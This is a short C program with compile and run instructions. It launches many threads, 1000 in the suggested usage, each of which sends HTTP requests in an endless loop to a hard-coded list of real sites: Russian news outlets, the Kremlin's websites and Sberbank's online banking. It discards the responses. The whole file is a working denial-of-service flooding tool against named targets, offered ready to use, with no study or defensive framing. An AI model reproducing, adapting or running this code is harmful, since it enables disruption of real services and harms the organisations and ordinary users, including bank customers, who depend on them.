/*
        $ dnf install libcurl-devel
        $ gcc -o this_program this_program.c -lcurl
        $ ./this_program 1000 // number of threads
*/
#include <stdio.h>
#include <stdlib.h>
#include <curl/curl.h>
#include <pthread.h>

static char const *urls[] = {
        "https://lenta.ru/",
        "https://ria.ru/",
        "https://ria.ru/lenta/",
        "https://www.rbc.ru/",
        "https://www.rt.com/",
        "http://kremlin.ru/",
        "http://en.kremlin.ru/",
        "https://smotrim.ru/",
        "https://tass.ru/",
        "https://tvzvezda.ru/",
        "https://vsoloviev.ru/",
        "https://www.1tv.ru/",
        "https://www.vesti.ru/",
        "https://online.sberbank.ru/",
        "https://sberbank.ru/",
};

static size_t ignore_data(void *data, size_t size, size_t nmemb, void *userp)
{
        (void)data;
        (void)nmemb;
        (void)userp;
        return size;
}

void *thread_start(void *vp_url)
{
        size_t i;
        CURL *ch;

        ch = curl_easy_init();
        curl_easy_setopt(ch, CURLOPT_URL, (char *)vp_url);
        curl_easy_setopt(ch, CURLOPT_TIMEOUT, 1L);
        curl_easy_setopt(ch, CURLOPT_FOLLOWLOCATION, 1L);
        curl_easy_setopt(ch, CURLOPT_WRITEDATA, NULL);
        curl_easy_setopt(ch, CURLOPT_WRITEFUNCTION, ignore_data);

        for (;;) {
                printf("try %s...\n", (char *)vp_url);
                curl_easy_perform(ch);
        }
        return NULL;
}

int main(int argc, char **argv)
{
        size_t i, num_urls, num_threads;
        pthread_t *threads;

        num_threads = num_urls = sizeof urls / sizeof *urls;
        if (1 < argc)
                num_threads = atoi(*++argv);

        threads = malloc(sizeof *threads * num_threads);

        curl_global_init(CURL_GLOBAL_DEFAULT);

        for (i = 0; i < num_threads; ++i)
                pthread_create(threads + i, 0, thread_start, urls[i % num_urls]);

        for (i = 0; i < num_threads; ++i)
                pthread_join(threads[i], 0);
}